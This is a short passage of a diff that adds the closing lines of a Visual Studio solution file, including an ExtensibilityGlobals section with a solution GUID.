+ EndGlobalSection
+ GlobalSection(ExtensibilityGlobals) = postSolution
+ SolutionGuid = {94202749-A107-4A07-B8BB-6B796A54FEF2}
+ EndGlobalSection
+EndGlobal